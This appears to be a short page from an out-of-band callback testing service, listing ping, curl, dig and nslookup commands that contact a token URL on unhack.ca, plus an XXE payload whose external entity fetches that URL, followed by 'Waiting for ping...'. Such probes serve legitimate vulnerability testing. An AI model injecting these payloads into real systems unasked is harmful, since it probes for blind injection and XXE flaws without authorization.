$ ping -c1 -p 00293be5826f4cf1bac83ab292c2b300 unhack.ca
 
$ curl http://unhack.ca/p/293be5826f4cf1bac83ab292c2b3
 
$ dig 293be5826f4cf1bac83ab292c2b3 @unhack.ca
 
$ dig 293be5826f4cf1bac83ab292c2b3.ns.unhack.ca
 
C:\> nslookup 293be5826f4cf1bac83ab292c2b3 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/293be5826f4cf1bac83ab292c2b3">]>
    <foo>&xxe;</foo>
Waiting for ping...